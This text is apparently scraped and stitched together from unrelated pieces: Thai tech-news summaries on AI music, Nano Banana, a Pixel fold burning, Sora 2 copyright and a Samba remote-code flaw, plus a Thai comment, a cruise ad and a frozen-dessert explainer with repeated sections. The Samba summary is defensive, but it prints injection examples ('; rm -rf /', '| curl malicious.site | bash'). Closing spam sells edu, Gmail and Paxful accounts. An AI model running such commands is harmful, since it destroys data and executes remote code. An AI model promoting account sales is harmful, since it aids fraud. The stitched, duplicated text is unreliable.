มี thumbnails ปลอม เช่นภาพศิลปินร้องไห้
เนื้อเพลงสร้างจาก prompt เช่น “Your story’s written in the stars”
AI music generators อย่าง Suno สร้างเพลงจากข้อความได้ภายในวินาที
YouTube มีนโยบายให้เปิดเผยการใช้ AI แต่หลายคลิปซ่อนข้อมูลไว้
คลิปเหล่านี้มีผู้ชมหลายล้านและคอมเมนต์ขอบคุณศิลปินที่ไม่ได้ร้องจริง
Alex Mahadevan เตือนว่าอินเทอร์เน็ตกำลังถูกแทนที่ด้วย “AI slop”
Lucas Hansen เสนอให้คุ้มครองเสียงและภาพของบุคคล แม้จะเสียชีวิตแล้ว
The Velvet Sundown วง AI บน Spotify มีผู้ฟังเกิน 200,000 คน
Suno เสนอ prompt เช่น “เพลงแจ๊สเกี่ยวกับรดน้ำต้นไม้”

https://www.thestar.com.my/tech/tech-news/2025/10/17/youtube-users-trip-over-fake-ai-tributes-to-charlie-kirk

“Nano Banana จาก Google Gemini แซงหน้า ChatGPT” — สร้างภาพสมจริงจากข้อความและภาพต้นฉบับได้แม่นยำกว่า

ตั้งแต่เปิดตัวในปี 2022 ChatGPT ได้รับความนิยมอย่างรวดเร็วในฐานะเครื่องมือ AI อเนกประสงค์ โดยเฉพาะความสามารถในการสร้างภาพจากข้อความ ซึ่งช่วยผู้ใช้ทั่วไปและธุรกิจขนาดเล็กในการออกแบบโลโก้หรือภาพประกอบโดยไม่ต้องมีทักษะด้านกราฟิก

แต่ล่าสุด Google Gemini ได้เปิดตัวฟีเจอร์ใหม่ชื่อว่า “Nano Banana” ซึ่งกลายเป็นขวัญใจผู้ใช้ในโลกออนไลน์ ด้วยความสามารถในการสร้างภาพที่สมจริงและแม่นยำกว่า ChatGPT โดยเฉพาะเมื่อเปรียบเทียบภาพที่ต้องการเปลี่ยนแปลงบางส่วน เช่น เปลี่ยนชุดของบุคคลในภาพ

Nano Banana สามารถ:
สร้างภาพจากข้อความ prompt ที่ละเอียด เช่น อายุ เพศ สถานที่ เวลา และเอฟเฟกต์ภาพ
แก้ไขภาพที่อัปโหลด เช่น เพิ่มวัตถุ เปลี่ยนพื้นหลัง หรือรวมภาพหลายภาพเข้าด้วยกัน
รักษาองค์ประกอบเดิมของภาพไว้ได้แม่นยำ เช่น ใบหน้าและท่าทางของบุคคล
รองรับคำสั่งแก้ไขแบบละเอียด เช่น “ทำให้ผู้หญิงในภาพหัวเราะ” หรือ “เปลี่ยนพื้นหลังเป็นชายหาด”

YouTubers อย่าง Corey McClain และ Brock Mesarich ได้ทดสอบ Nano Banana เทียบกับ ChatGPT โดยใช้ prompt เดียวกัน พบว่า Nano Banana เร็วกว่าและแม่นยำกว่าในการเปลี่ยนชุดของบุคคล โดยยังคงใบหน้าเดิมไว้ ขณะที่ ChatGPT กลับสร้างภาพของคนใหม่แทน

ข้อมูลในข่าว
Nano Banana เป็นฟีเจอร์ใหม่ของ Google Gemini สำหรับสร้างภาพจากข้อความและภาพต้นฉบับ
เปิดตัวช่วงปลายเดือนสิงหาคม 2025
รองรับการแก้ไขภาพ เช่น เพิ่มวัตถุ เปลี่ยนพื้นหลัง รวมภาพหลายภาพ
รักษาองค์ประกอบเดิมของภาพได้แม่นยำ เช่น ใบหน้าและท่าทาง
รองรับ prompt ที่ละเอียด เช่น อายุ เพศ สถานที่ เวลา และเอฟเฟกต์ภาพ
สามารถใช้คำสั่งแก้ไขภาพ เช่น “เปลี่ยนพื้นหลังเป็นชายหาด” หรือ “ทำให้คนในภาพหัวเราะ”
YouTubers พบว่า Nano Banana เร็วและแม่นยำกว่า ChatGPT ในการเปลี่ยนชุดของบุคคล ChatGPT อาจเปลี่ยนภาพทั้งใบหน้าแทนที่จะเปลี่ยนแค่ชุด
Nano Banana รองรับหลายสไตล์ภาพ รวมถึง photorealistic และ ultra-realistic
ใช้งานได้ผ่านเบราว์เซอร์หรือแอป Google Gemini บน iOS และ Android
รองรับการอัปโหลดภาพสูงสุด 10 รูปต่อ prompt

https://www.slashgear.com/1995313/google-gemini-beats-chatgpt-nano-banana/

น้องเขาน่ารักมาก คนไทยเราน่ารักทุกๆคนล่ะ มีโอกาส มีรายได้พอเลี้ยงชีพตนแล้ว เหลือบ้างแบ่งปันช่วยเหลือเราคนไทยด้วยกัน, ยามยากจนต่อจำเป็นในการต่อสู้เพื่อตนเอง,ยามร่ำรวยมั่งคั่งเหลือเก็บมีกำลังมากพอก็มีน้ำจิตน้ำใจแบ่งปันช่วยเหลือคนอื่นที่ครั้งหนึ่งตนก็เป็นเช่นนั้นหรือไม่ก็ตาม,ร่ำรวยแล้วช่วยเหลือกันนั้นเอง.,แต่ตนต้องไม่ลำบากด้วยนะ.
..น้องสร้างตัวอย่างที่ดีอีกคนในการร่วมจรรโลงสังคมไทยเรา,ใครมีบาทสองบาทหรือสิบ 20บาทอย่าน้อยเนื้อต่ำใจ เงินทองของสัมมาอาชีพชอบมีพลังอนุภาคมากนักด้วยเจตนาจิตจาคะอันดีงาม อนุภาคบุญก็ไม่น้อยกว่าคนใดบริจาค10ล้าน 100ล้านเหรอ,ตามกำลังใครมันสะดวกที่สบายใจใครมัน.
..กำแพงสร้างรั้วลวดหนามเราคือตัวอย่างที่ดีก็ว่า คนละเล็กละน้อย.,คนไทยเราใจดีใจบุญด้วย,น้องเจนนี่ในโอกาสนี้ก็ด้วยเช่นกัน.,หลายๆคนๆหลายๆท่านที่ไม่เป็นข่าวไม่ออกสื่อก็เยอะ ปิดทองหลังพระก็มาก บางท่านก็ทานด้วยแรงกายเป็นต้น บุญทั้งนั้น,จึงร่วมขออนุโมทนาบุญเรา..คนไทยทุกๆคนทั่วประเทศด้วยรวมถึงน้องเจนนี่นี้ด้วย,เราร่วมแสดงความยินดีในบุญเขาให้เขามีพลังใจสร้างสิ่งดีๆทั้งต่อตนเองและคนรอบข้างดีแล้ว,ร่วมเป็นกำลังใจสร้างความดีบนแผ่นดินไทยเรา,ไทยไม่ช่วยไทยใครจะมาช่วยเรา.

https://youtube.com/shorts/4XPh65UKF74?si=_IfLQLYGXKd4R6hZ

“Pixel 10 Pro Fold พังกลางคลิปทดสอบ” — เมื่อการงอเครื่องผิดทิศทางทำให้เกิดควันและความกังวลเรื่องความปลอดภัย

Google Pixel 10 Pro Fold ซึ่งเป็นมือถือพับรุ่นล่าสุดจาก Google ได้รับความสนใจอย่างมากจากผู้ใช้และนักรีวิว โดยเฉพาะด้านซอฟต์แวร์ที่ผสาน AI ได้อย่างลงตัว แม้ฮาร์ดแวร์จะไม่หรูเท่า Galaxy Z Fold 7 แต่ก็ถือว่าแข็งแรงและใช้งานดี

อย่างไรก็ตาม คลิปทดสอบความทนทานจากช่อง JerryRigEverything กลับสร้างความตกตะลึง เมื่อ Zack Nelson พยายามงอเครื่องย้อนกลับเพื่อทดสอบความแข็งแรงของบานพับ แล้วเกิดเหตุการณ์ไม่คาดคิด — เครื่องเริ่มปล่อยควันหนาออกมา ซึ่งเป็นครั้งแรกที่เกิดไฟไหม้ในคลิปทดสอบของเขา

เหตุการณ์นี้เกิดจากแบตเตอรี่ที่ได้รับแรงกดผิดปกติ ซึ่งเป็นสิ่งที่ผู้ผลิตเตือนว่าอาจทำให้เกิดไฟไหม้หรือระเบิดได้ โดยเฉพาะเมื่อแบตเตอรี่ถูกเจาะหรือโดนความร้อนสูง

แม้จะดูน่ากังวล แต่ผู้เชี่ยวชาญชี้ว่า การใช้งานจริงของผู้ใช้ทั่วไปไม่ควรทำให้เกิดเหตุการณ์แบบนี้ เพราะไม่มีใครงอเครื่องย้อนกลับแบบในคลิป และแบตเตอรี่ของ Pixel 10 Pro Fold ก็ไม่ได้มีปัญหาในกรณีใช้งานปกติ

ข้อมูลในข่าว
Pixel 10 Pro Fold เป็นมือถือพับรุ่นล่าสุดจาก Google
คลิปทดสอบจาก JerryRigEverything ทำให้เครื่องปล่อยควันออกมา
การงอเครื่องย้อนกลับทำให้แบตเตอรี่เสียหาย
เป็นครั้งแรกที่เกิดไฟไหม้ในคลิปทดสอบของ Zack Nelson
แบตเตอรี่ที่ถูกกดหรือเจาะอาจทำให้เกิดไฟไหม้หรือระเบิด
Google ยังไม่ได้แสดงความเห็นอย่างเป็นทางการ
ผู้ใช้ทั่วไปไม่ควรพบปัญหานี้ในการใช้งานปกติ
Pixel 10 Pro Fold ได้รับคำชมเรื่องซอฟต์แวร์และ AI integration
ผู้ทดสอบเปรียบเทียบกับ OnePlus Open ที่ยังทำงานได้ดีแม้เก็บไว้ 20 เดือน

https://www.slashgear.com/1998186/pixel-10-pro-durability-test-failure-explained/

“ญี่ปุ่นเตือน OpenAI เรื่อง Sora 2” — หวั่นละเมิดลิขสิทธิ์อนิเมะและมังงะที่ถือเป็น ‘สมบัติวัฒนธรรมที่ไม่อาจทดแทนได้’

รัฐบาลญี่ปุ่น โดยรัฐมนตรี Minoru Kōno ได้ออกแถลงการณ์เตือน OpenAI อย่างเป็นทางการเกี่ยวกับความกังวลด้านลิขสิทธิ์ หลังจากการเปิดตัวแพลตฟอร์ม Sora 2 ซึ่งเป็นระบบสร้างวิดีโอ AI ที่สามารถผลิตคลิป 1080p พร้อมเสียงได้ภายใน 20 วินาที

ญี่ปุ่นระบุว่า อนิเมะและมังงะเป็น “อัญมณีทางวัฒนธรรมที่ไม่อาจทดแทนได้” และการที่ผู้ใช้ Sora 2 นำเนื้อหาจากแฟรนไชส์ดังอย่าง Dragon Ball หรือ Pokémon ไปสร้างวิดีโอโดยไม่ได้รับอนุญาต ถือเป็นการละเมิดสิทธิ์อย่างร้ายแรง

แม้ญี่ปุ่นจะเป็นหนึ่งในประเทศที่ส่งเสริม AI อย่างแข็งขัน แต่ก็พยายามสร้างสมดุลระหว่างนวัตกรรมและการคุ้มครองทรัพย์สินทางปัญญา โดยมีการออกกฎหมาย AI Promotion Act และแนวทางปฏิบัติด้านลิขสิทธิ์

ในเบื้องต้น OpenAI ได้ติดต่อพันธมิตรในอุตสาหกรรมเพื่อเสนอให้ “opt-out” จากการใช้ข้อมูลของพวกเขาในการฝึกโมเดล Sora 2 แต่ยังไม่มีข้อมูลว่าบริษัทญี่ปุ่นใดตอบรับหรือปฏิเสธ

นักการเมืองญี่ปุ่นอย่าง Akihisa Shiozaki ยังกล่าวว่า “ญี่ปุ่นมีหน้าที่เป็นผู้นำในการถกเถียงระดับโลกเรื่อง AI และลิขสิทธิ์ เพราะเราเป็นประเทศที่สร้างอนิเมะ เกม และดนตรี”

ข้อมูลในข่าว
ญี่ปุ่นเตือน OpenAI เรื่องการละเมิดลิขสิทธิ์ผ่านแพลตฟอร์ม Sora 2
Sora 2 สามารถสร้างวิดีโอ 1080p พร้อมเสียงได้ภายใน 20 วินาที
ผู้ใช้บางรายนำเนื้อหาจาก Dragon Ball และ Pokémon ไปใช้โดยไม่ได้รับอนุญาต
ญี่ปุ่นมองว่าอนิเมะและมังงะเป็น “สมบัติวัฒนธรรมที่ไม่อาจทดแทนได้”
รัฐบาลญี่ปุ่นมี AI Promotion Act และแนวทางด้านลิขสิทธิ์
OpenAI เสนอให้พันธมิตร opt-out จากการใช้ข้อมูลในการฝึกโมเดล
ยังไม่ชัดเจนว่าบริษัทญี่ปุ่นใดตอบรับหรือปฏิเสธ
Akihisa Shiozaki ระบุว่าญี่ปุ่นควรเป็นผู้นำในการกำหนดมาตรฐาน AI และลิขสิทธิ์

https://securityonline.info/japan-warns-openai-over-sora-2-copyright-infringement-of-irreplaceable-anime-and-manga/

“ช่องโหว่ CVE-2025-10230 บน Samba AD DC” — เสี่ยงถูกสั่งรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน

ทีมพัฒนา Samba ได้ออกประกาศเตือนภัยร้ายแรงเกี่ยวกับช่องโหว่ CVE-2025-10230 ซึ่งมีคะแนน CVSS เต็ม 10.0 โดยช่องโหว่นี้เปิดทางให้ผู้โจมตีสามารถสั่งรันคำสั่งบนระบบปฏิบัติการได้จากระยะไกลโดยไม่ต้องยืนยันตัวตน หากระบบนั้นเปิดใช้งาน WINS server และมีการตั้งค่า “wins hook” ในไฟล์ smb.conf

ช่องโหว่นี้เกิดจากการที่ Samba ไม่ได้ตรวจสอบข้อมูลที่ส่งเข้ามาอย่างเพียงพอ เมื่อมีการลงทะเบียนหรือเปลี่ยนชื่อ NetBIOS ผ่าน WINS server ระบบจะเรียกใช้โปรแกรมที่กำหนดไว้ใน “wins hook” โดยนำข้อมูลที่ผู้ใช้ส่งมาไปใส่ในคำสั่ง shell โดยตรง ซึ่งเปิดช่องให้แฮกเกอร์แทรกคำสั่งอันตราย เช่น ; rm -rf / หรือ | curl malicious.site | bash

เนื่องจาก WINS เป็นโปรโตคอลเก่าที่เชื่อถือข้อมูลจาก client โดยไม่ตรวจสอบอย่างเข้มงวด ผู้โจมตีสามารถส่งชื่อ NetBIOS ที่มีความยาวไม่เกิน 15 ตัวอักษรและแฝงตัวอักขระ shell เพื่อรันคำสั่งบนเครื่องเป้าหมายได้ทันที

ช่องโหว่นี้มีผลเฉพาะกับ Samba ที่ทำหน้าที่เป็น Active Directory Domain Controller และเปิดใช้งาน WINS พร้อมตั้งค่า “wins hook” เท่านั้น ส่วน Samba ที่เป็น member server หรือ standalone host จะไม่ได้รับผลกระทบ

ทีม Samba แนะนำให้ผู้ดูแลระบบ:
ลบหรือไม่ตั้งค่า “wins hook” ใน smb.conf
ปิดการใช้งาน WINS server (wins support = no)
อัปเดตเป็นเวอร์ชันที่ปลอดภัย เช่น 4.23.2, 4.22.5 หรือ 4.21.9

ข้อมูลในข่าว
ช่องโหว่ CVE-2025-10230 มีคะแนน CVSS 10.0 เต็ม
เกิดจากการใช้ข้อมูลจาก client โดยไม่ตรวจสอบก่อนส่งเข้า shell
ส่งผลให้สามารถรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน
มีผลเฉพาะกับ Samba AD DC ที่เปิด WINS และตั้งค่า “wins hook”
WINS เป็นโปรโตคอลเก่าที่เชื่อถือ client โดยไม่ตรวจสอบ
NetBIOS name ที่มี shell metacharacters เช่น ; หรือ | สามารถใช้โจมตีได้
Samba ที่ไม่ใช่ domain controllerจะไม่ถูกกระทบ
วิธีแก้ไขคือ ลบ “wins hook” หรือปิด WINS (wins support = no)
เวอร์ชันที่ปลอดภัย ได้แก่ 4.23.2, 4.22.5 และ 4.21.9
“wins hook” อาจถูกยกเลิกในเวอร์ชันอนาคต

https://securityonline.info/critical-samba-rce-flaw-cve-2025-10230-cvss-10-0-allows-unauthenticated-command-injection-on-ad-dcs/

🛳 แพ็คเกจล่องเรือสำราญ Star Voyager, Cruise Only 3 วัน 2 คืน

เส้นทาง ฮ่องกง - เซี่ยเหมิน - ฮ่องกง

วันที่ 24-26 ต.ค. 68 // 31 ต.ค.-2 พ.ย. 68 // 7-9 พ.ย. 68

ราคาเริ่มต้น : ฿5,800

✔ ห้องพักบนเรือสำราญ
✔ อาหารทุกมื้อบนเรือ
✔ กิจกรรมและความบัรเทิงบนเรือสำราญ

รหัสแพคเกจทัวร์ : STCP-3D2N-HKG-HKG-2511071
คลิกดูรายละเอียดโปรแกรม : 78s.me/e27183

ดูเรือ Star Cruise ทั้งหมดได้ที่
https://78s.me/e20770

ดูแพ็คเกจเรือทั้งหมด
https://cruisedomain.com/
LINE ID: @CruiseDomain 78s.me/c54029
Facebook: CruiseDomain 78s.me/b8a121
Youtube : CruiseDomain 78s.me/8af620
: 0 2116 9696

#เรือStarCruise #StarVoyager #Starcruise #ResortsWorldOne #Asia #Hongkong #China #แพ็คเกจล่องเรือสำราญ #CruiseDomain

Gelato vs. Ice Cream vs. Frozen Yogurt vs. Sherbet vs. Sorbet: Get The Scoop On The Difference

You scream, I scream, we all scream for… wait, is that ice cream or gelato? Or frozen yogurt? And what’s the deal with sherbet and sorbet? Are all of these things ice cream, too?

Don’t get a brain freeze. We’ll break down the similarities and technical differences between these frozen treats—based on ingredients and how they’re made—in addition to dipping into the overlap of the terms in casual use.

Join as we serve up the answers to these questions and more:

What defines ice cream?
What is the difference between gelato and ice cream?
How is ice cream different from frozen yogurt?
Is sherbet a kind of ice cream?
What is the difference between sherbet and sorbet?
How is gelato different from sorbet?
What is the difference between sorbet and ice cream?

Quick summary

We casually call a lot of frozen treats ice cream. But according to US technical guidelines, ice cream must contain 10 percent milk fat. It’s typically made with milk, cream, flavorings, and sometimes egg yolk. Gelato is similar to ice cream but typically contains less cream and air. Frozen yogurt uses yogurt as its primary ingredient rather than milk and cream. Unlike ice cream, sherbet uses fruit juice or fruit purée as its main ingredient and typically only has a small amount of dairy. Sorbet also uses fruit juice or purée as its main ingredient, but it doesn’t contain any dairy products or eggs.

What is the difference between gelato and ice cream?

Generally, the term ice cream refers to a creamy frozen dessert that’s made with dairy fats, sugar, and sometimes egg yolks. However, ice cream is often casually used as a catchall term to refer to all kinds of frozen desserts, including many of the ones that we’ll compare here, some of which do not contain cream or any dairy products.

That being said, the definition of ice cream is often much more narrow in technical use. In fact, according to US law, in order for a food to be considered ice cream in the US it must contain at least 10 percent milk fat. The legal definition also touches on the inclusion of flavoring ingredients like sugar or artificial sweeteners and optional dairy products, such as cream, butter, buttermilk, and skim milk. Typically, egg yolks are also allowed as an ingredient. Ice cream typically contains a lot of cream in order to achieve the required milk fat percentage.

Gelato is an Italian-style dessert that usually contains many of the same ingredients as ice cream. It’s often considered a type of ice cream—sometimes referred to as “Italian ice cream.”

Compared to ice cream, though, gelato usually contains less cream and has a lower milk fat percentage. Additionally, the slower churning process of gelato causes it to be infused with less air than ice cream. All of this means that gelato tends to have a silkier texture than ice cream.

frozen yogurt vs. ice cream

Frozen yogurt (popularly nicknamed fro-yo) and ice cream are both typically made from dairy products and sugar. However, the main ingredients in ice cream are milk and cream and the main ingredient in frozen yogurt is, unsurprisingly, yogurt. Under certain technical requirements, ice cream must have at least 10 percent milk fat, but those requirements don’t apply to frozen yogurt. The fat percentage of frozen yogurt depends on what type of milk was used to make the yogurt in it.

Is sherbet ice cream?

Sherbet is a creamy frozen dessert made mainly from fruit juice or fruit purée—it typically contains only small amounts of dairy products, egg whites, and/or gelatin. (Sherbet is pronounced [ shur-bit ], but many people say [ shur-burt ], leading to spelling sherbert becoming increasingly common.)

Sherbet is technically not ice cream, even though they both can contain fruit and dairy products. The big difference is that sherbet’s main ingredient is fruit juice or purée, while ice cream’s main ingredients are typically milk and cream. Still, they’re close enough that many people likely consider sherbet a type of ice cream.

sherbet vs. sorbet

As we just learned, sherbet typically contains only a small amount of dairy products and/or eggs. Sorbet (pronounced [ sawr-bey ]) is a creamy frozen concoction made from fruit juice or fruit purée that does not contain any dairy products or eggs. Sorbet is usually a dessert, but not always—it’s sometimes served between courses as a palate cleanser.

The words look similar because they’re ultimately based on the same root—the Turkish şerbet, from the Persian sharbat, from the Arabic sharbah, meaning “a drink.”

gelato vs. sorbet

By now, you know that gelato traditionally uses milk and cream as its main ingredients, and that sorbet primarily contains fruit juice or fruit purée and does not use dairy products or eggs. Sorbet is less creamy.

sorbet vs. ice cream

The difference between ice cream and sorbet is also based on whether or not dairy is used. Technically speaking, ice cream always contains cream and/or milk as its main ingredients, while sorbet traditionally never includes dairy or eggs, instead being primarily made from fruit juice or fruit purée.

sherbet vs. sorbet

As we just learned, sherbet typically contains only a small amount of dairy products and/or eggs. Sorbet (pronounced [ sawr-bey ]) is a creamy frozen concoction made from fruit juice or fruit purée that does not contain any dairy products or eggs. Sorbet is usually a dessert, but not always—it’s sometimes served between courses as a palate cleanser.

The words look similar because they’re ultimately based on the same root—the Turkish şerbet, from the Persian sharbat, from the Arabic sharbah, meaning “a drink.”

gelato vs. sorbet

By now, you know that gelato traditionally uses milk and cream as its main ingredients, and that sorbet primarily contains fruit juice or fruit purée and does not use dairy products or eggs. Sorbet is less creamy.

sorbet vs. ice cream

The difference between ice cream and sorbet is also based on whether or not dairy is used. Technically speaking, ice cream always contains cream and/or milk as its main ingredients, while sorbet traditionally never includes dairy or eggs, instead being primarily made from fruit juice or fruit purée.

Get the inside scoop

Here’s the final scoop: All of these distinctions are traditional and technical. As more dairy-free options become available, you’re much more likely to see many of these names applied to frozen desserts that include some nontraditional ingredients. In the case of ice cream, for example, fat sources used for the base may include ingredients like coconut milk, oat milk, or avocado.

สงวนลิขสิทธิ์ © 2025 AAKKHRA & Co.

Top-Quality, Buy, Edu Email ,Accounts for Sale In 2025
➤24 Hours Reply/Contact
➤Email: usaprostore1@gmail.com
➤WhatsApp: +1 (717) 303-4210
➤Telegram: Usaprostore
https://usaprostore.com/product/buy-edu-email-accounts/

Top-Quality, Buy, Old Gmail ,Accounts for Sale In 2025
➤24 Hours Reply/Contact
➤Email: usaprostore1@gmail.com
➤WhatsApp: +1 (717) 303-4210
➤Telegram: Usaprostore
https://usaprostore.com/product/buy-old-gmail-accounts/

Top-Quality, Buy, Verified, Paxful ,Accounts for Sale In 2025
➤24 Hours Reply/Contact
➤Email: usaprostore1@gmail.com
➤WhatsApp: +1 (717) 303-4210
➤Telegram: Usaprostore
https://usaprostore.com/product/buy-verified-paxful-accounts/